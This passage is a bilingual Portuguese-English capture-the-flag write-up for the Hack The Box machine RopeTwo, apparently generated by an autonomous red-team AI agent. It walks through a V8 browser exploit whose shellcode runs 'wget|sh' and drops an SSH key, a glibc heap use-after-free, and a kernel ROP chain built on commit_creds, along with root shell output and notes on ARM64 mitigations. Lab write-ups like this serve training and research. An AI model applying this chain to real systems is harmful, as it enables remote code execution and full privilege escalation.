  2. Via UAF, escreve no tty_struct corrompido o ponteiro ops apontando pra fake.
  3. ioctl(tty_fd, anything, ...) dispara: kernel chama tty_struct->ops->ioctl → xchg pivota a stack pra controlled_buf → ROP chain executa.
  4. ROP: pop rdi; ret + init_cred + commit_creds + swapgs_restore_regs_and_return_to_usermode → back to user context com uid=0.
  1. Allocate a userspace buffer with a fake tty_operations, with its ioctl pointing at the gadget xchg eax,esp; ret at a fixed address (XCHG is the classic stack pivot — esp now points to a controlled buffer).
  2. Via UAF, write the corrupted tty_struct's ops pointer to point at the fake.
  3. ioctl(tty_fd, anything, ...) fires: kernel calls tty_struct->ops->ioctl → xchg pivots stack to controlled_buf → ROP chain runs.
  4. ROP: pop rdi; ret + init_cred + commit_creds + swapgs_restore_regs_and_return_to_usermode → back to user context with uid=0.
r4j ~ kernel exploit ▸ ralloc.c
r4j@rope2:~$ gcc -static -o ralloc_pwn ralloc_pwn.c
r4j@rope2:~$ ./ralloc_pwn
[+] /dev/ralloc opened
[+] spraying 256 tty_struct via /dev/ptmx
[+] allocating ralloc chunks adjacent to tty pool
[+] OOB read at chunk+0x20: ptm_unix98_ops = 0xffffffff819a7e80
[+] kernel base = 0xffffffff81000000 (KASLR slide: 0x800000)
[+] gadgets located (xchg eax,esp · pop rdi · ret · commit_creds · init_cred)
[+] writing fake tty_operations to userspace buffer
[+] writing fake ops pointer into corrupted tty_struct via UAF
[+] firing ioctl on tty_fd...
[+] returned to userspace · uid=0(root) gid=0(root)

root@rope2:/home/r4j# cat /root/root.txt
9e8c...redacted...4a51
▲▲▲
root flag · root@rope2
HTB{root.txt obtido via ralloc UAF + ROP commit_creds}
[ portabilidade pra ARM64 — onde dói ] A cadeia inteira é arquitetura-específica em pontos críticos. Portar pra aarch64 (Apple Silicon, Android moderno, AWS Graviton, kernel ARM64) não é trocar gcc por aarch64-linux-gnu-gcc — cada estágio quebra de jeito diferente:
  • V8 (estágio 1): addrof/fakeobj e WASM RWX continuam válidos — V8 tem backend ARM64 estável e a mecânica é memory-layout, não ISA. Mas shellcode precisa ser reescrito do zero: syscalls em ARM64 usam x0..x5 + x8 pro número, instrução svc #0 em vez de syscall. Pointer compression layout difere ligeiramente (offsets pro instance.code_buf mudam).
  • Glibc rshell (estágio 2): heap mechanics são arquitetura-agnósticas — tcache poisoning + FSOP + __free_hook funcionam identicamente em ARM64. É o pedaço mais portável da cadeia.
  • Kernel ralloc (estágio 3): aqui é a fronteira de dificuldade. (1) Sem xchg em ARM64 — stack pivot exige gadget tipo mov sp, x0; ret ou add sp, x0, #0, que são raros e dependem da build do kernel. (2) PAC (Pointer Authentication Codes, ARMv8.3+): code pointers são assinados com chave por processo; toda chamada indireta valida via AUTIA/BTI. ROP gadgets carregando code pointers crasham sem bypass de PAC. (3) BTI (Branch Target Identification, ARMv8.5+): gadgets precisam começar com instrução bti ou crash de SIGILL. (4) MTE (Memory Tagging Extension, ARMv8.5+): cada alocação ganha tag de 4 bits, acesso com tag errada crasha — UAF clássico vira quase impossível sem leak de tag. (5) Símbolos kernel (init_cred, commit_creds) ainda existem, mas offsets vmlinux completamente diferentes; cada release de kernel ARM64 tem mapa próprio.
Resumo: em ARM64 moderno (Apple M2+, Pixel 7+, AWS Graviton3) com PAC+BTI+MTE ativos, o estágio kernel exige bypass de 2-3 mitigações antes de chegar no commit_creds. RopeTwo na arquitetura ARM64 viraria efetivamente "RopeFour" — mesma filosofia, dobro de degraus.
[ ARM64 portability — where it hurts ] The entire chain is architecture-specific at critical points. Porting to aarch64 (Apple Silicon, modern Android, AWS Graviton, ARM64 kernels) isn't swapping gcc for aarch64-linux-gnu-gcc — every stage breaks differently:
  • V8 (stage 1): addrof/fakeobj and WASM RWX still work — V8 has a stable ARM64 backend and the mechanics are memory-layout, not ISA. But shellcode has to be rewritten from scratch: ARM64 syscalls use x0..x5 + x8 for the number, instruction svc #0 instead of syscall. Pointer compression layout shifts slightly (offsets to instance.code_buf change).
  • Glibc rshell (stage 2): heap mechanics are architecture-agnostic — tcache poisoning + FSOP + __free_hook work identically on ARM64. The most portable piece of the chain.
  • Kernel ralloc (stage 3): this is where difficulty spikes. (1) No xchg on ARM64 — stack pivoting demands gadgets like mov sp, x0; ret or add sp, x0, #0, which are rare and kernel-build-dependent. (2) PAC (Pointer Authentication Codes, ARMv8.3+): code pointers are signed with a per-process key; every indirect call validates via AUTIA/BTI. ROP gadgets loading code pointers crash without a PAC bypass. (3) BTI (Branch Target Identification, ARMv8.5+): gadgets must start with a bti instruction or SIGILL. (4) MTE (Memory Tagging Extension, ARMv8.5+): every allocation gets a 4-bit tag, wrong-tag access crashes — classic UAF becomes nearly impossible without a tag leak. (5) Kernel symbols (init_cred, commit_creds) still exist, but vmlinux offsets are completely different; every ARM64 kernel release has its own map.
Bottom line: on modern ARM64 (Apple M2+, Pixel 7+, AWS Graviton3) with PAC+BTI+MTE enabled, the kernel stage demands bypassing 2-3 mitigations before reaching commit_creds. RopeTwo on ARM64 would effectively become "RopeFour" — same philosophy, twice the rungs.
replay resumo da cadeia tripla triple chain summary
replay · web → user → root replay · web → user → root
  1. GitLab :5000 → source V8 + commit r4j → patch diff revela GetLastElement/SetLastElement com off-by-one OOB
  2. Flask :8000 /contact → submitting <script> dispara HeadlessChrome 85 com a build vulnerável
  3. OOB → addrof/fakeobj → arbread/arbwrite → WASM instance RWX page (offset 0x68) → shellcode → wget|sh → SSH key drop → chromeuser
  4. SUID rshell (r4j) → realloc(ptr,0) UAF → tcache poisoning + FSOP leak → __free_hook = system → shell r4j → user.txt
  5. /dev/ralloc kmod → OOB read em tty_struct → leak ptm_unix98_ops → KASLR bypass
  6. Fake tty_operations via UAF → xchg eax,esp stack pivot → ROP commit_creds(init_cred) → root.txt
▸ [06 · loot] o que foi capturado what was captured

Loot enxuto — RopeTwo é pwn puro, sem credenciais explícitas. Tudo que aparece são artefatos de exploitation.

Lean loot — RopeTwo is pure pwn, no explicit credentials. Everything shown is an exploitation artifact.

tipotype quêwhat de ondesource
flag · user /home/r4j/user.txt SUID rshell UAF + FSOP + __free_hook=system
flag · root /root/root.txt /dev/ralloc UAF + tty_struct leak + ROP commit_creds(init_cred)
source code root/v8 (chromium fork) · commit 7410f6... GitLab público :5000/explore/projects/starred
ssh key chromeuser id_ed25519 wget shellcode dropa via wasm RWX exec
ssh key r4j id_rsa cat /home/r4j/.ssh/id_rsa após pwn de rshell
binary /usr/bin/rshell (SUID r4j, 14312 bytes, stripped) SUID enum + scp pro kali pra exploit dev
kmod /lib/modules/5.0.0-32-generic/extra/ralloc.ko lsmod + scp pra reverse em IDA/Ghidra
▸ [07 · ttps] técnicas · ferramentas techniques · toolkit

mitre att&ck
T1595.002active scanning · vuln scanning T1190exploit public-facing application T1213.003data from information repositories · code repos T1059.007javascript · v8 exploit T1059.004unix shell · shellcode T1574hijack execution flow · suid binary T1068exploitation for privilege escalation T1611escape to host · kernel exploit (n/a) · LPE kernel T1014rootkit · kernel module abuse T1027.009embedded payloads · wasm rwx T1003os credential access · authorized_keys drop
toolkit
nmap 7.95 feroxbuster 2.x pwntools 4.x depyt v8 build (chromium) IDA Pro / Ghidra one_gadget ROPgadget qemu-user (chromium runner) gcc 9 + ld objdump · binutils openssh 9.x
▸ [08 · aprendizado][08 · lessons] três lições que essa box ensina three lessons this box teaches

lição · 01

browser pwn é exercício de patch diff + primitive composition

browser pwn is patch diff + primitive composition

RopeTwo entrega o source. Em pwn de browser do mundo real (CVE-2024 etc.) você não tem isso — mas o método é o mesmo: identificar o bug, depois compor as primitivas (addrof/fakeobj → arbread/arbwrite → wasm/jit RWX → shellcode). A cadeia é canônica; o que muda é o bug inicial. Praticar V8 pwn em pwnable CTF prepara muito bem pra security research em produção.

RopeTwo hands you the source. In real-world browser pwn (CVE-2024 etc.) you don't get that — but the method is identical: identify the bug, then compose primitives (addrof/fakeobj → arbread/arbwrite → wasm/jit RWX → shellcode). The chain is canonical; only the entry bug changes. Practicing V8 pwn in CTF pwnables is great preparation for production security research.

lição · 02

SUID binary + UAF = caminho favorito do CTF heap dev

SUID binary + UAF = CTF heap dev's favorite path

rshell é o playbook clássico: menu interativo CRUD em chunks + bug sutil (realloc(ptr,0)) + glibc < 2.32 (tcache sem safe-linking) + FSOP + __free_hook. Em produção, o que protege: realloc() com new_size==0 hoje é UB e a glibc moderna mata o programa (CVE-2021-3326). Mais geral: safe-linking em tcache (glibc 2.32+) força XOR do fd com endereço do chunk, bloqueando arbitrary writes baratas. Toda libc moderna patcha esses vetores — o que sobra são bugs novos.

rshell is the classic playbook: interactive CRUD menu over chunks + subtle bug (realloc(ptr,0)) + glibc < 2.32 (tcache without safe-linking) + FSOP + __free_hook. In production, what protects you: realloc() with new_size==0 is now UB and modern glibc kills the process (CVE-2021-3326). More generally: safe-linking in tcache (glibc 2.32+) XORs the fd pointer with the chunk's address, blocking cheap arbitrary writes. Every modern libc patches these vectors — what's left are new bugs.

lição · 03

kmod custom em IoT/embedded é gold mine de LPE

custom kmods in IoT/embedded are LPE gold mines

ralloc.ko é um alloc demo deixado num kernel real. Em produção, o equivalente são drivers de OEM (NVIDIA, Realtek, Mediatek, vendor-specific BSPs) — frequentemente sem revisão, sem SMAP/KASAN no dev cycle, com bugs que viram exploits 0day em IoT/Android. Pra ataque: /lib/modules + lsmod em qualquer Linux desconhecido, sempre primeiro stop. Pra defesa: CONFIG_DEBUG_KMEMLEAK + CONFIG_KASAN + assinatura de módulos (CONFIG_MODULE_SIG_FORCE=y) bloqueia 80% do espaço de ataque.

ralloc.ko is an alloc demo dropped into a real kernel. In production, the equivalent are OEM drivers (NVIDIA, Realtek, Mediatek, vendor-specific BSPs) — often unreviewed, missing SMAP/KASAN during the dev cycle, with bugs that ship as 0day exploits in IoT/Android. For attackers: /lib/modules + lsmod on any unknown Linux, always the first stop. For defense: CONFIG_DEBUG_KMEMLEAK + CONFIG_KASAN + module signing (CONFIG_MODULE_SIG_FORCE=y) blocks 80% of the attack surface.

▸ [09 · próxima box][09 · next box] variantes & próximos alvos variants & next targets

Se você terminou RopeTwo, parabéns — é literalmente uma das boxes mais técnicas que o HTB já produziu. Próximos passos por estágio:

If you've finished RopeTwo, congrats — it's literally one of the most technical boxes HTB has ever produced. Next steps by stage:

Rope (Rope1)insane · linux

Predecessora da RopeTwo, mesmo autor (r4j). Sem V8, sem kernel — só userland heap + ROP. Faz sentido fazer ANTES de RopeTwo. Bom pra fixar pwntools, FSOP, e blind ROP.

RopeTwo's predecessor, same author (r4j). No V8, no kernel — pure userland heap + ROP. Worth tackling BEFORE RopeTwo. Solid practice for pwntools, FSOP, and blind ROP.

PwnShophard · linux

Heap pwn puro em glibc moderna (2.34+, sem __free_hook). Força o aprendizado de alternativas: _IO_str_jumps, __rtld_lock_lock_recursive, FILE.vtable hijack. Continuação natural do que rshell ensinou.

Pure heap pwn on modern glibc (2.34+, no more __free_hook). Forces learning alternatives: _IO_str_jumps, __rtld_lock_lock_recursive, FILE.vtable hijack. Natural continuation of what rshell taught.

Sandworm / Driverhard · linux

Boxes mais recentes com kernel pwn em modo "leitura primeiro": módulos custom com UAF, requirements de leak chain similares ao ralloc. Pra quem quer especializar em kernel LPE.

More recent boxes with kernel pwn in "read-first" mode: custom modules with UAF, leak chains similar to ralloc. For anyone wanting to specialize in kernel LPE.

═════════════════════════════════════════════════════════════════════════
::  ARES :: red team machine // offensive division // vultus cyber   ::
::  ropetwo · linux · INSANE · 3 pwn estágios · ROOTED in 08:06      ::
═════════════════════════════════════════════════════════════════════════
  
// write-up gerado por// write-up generated by ARES · your friendly neighborhood redteam bot · vultus offensive division
[ session #0x1FEFB0B1 · 2026·05·22 · 544 tool calls · 6 findings · 1 dead end (heap drift) · model: claude-opus-4-6 ]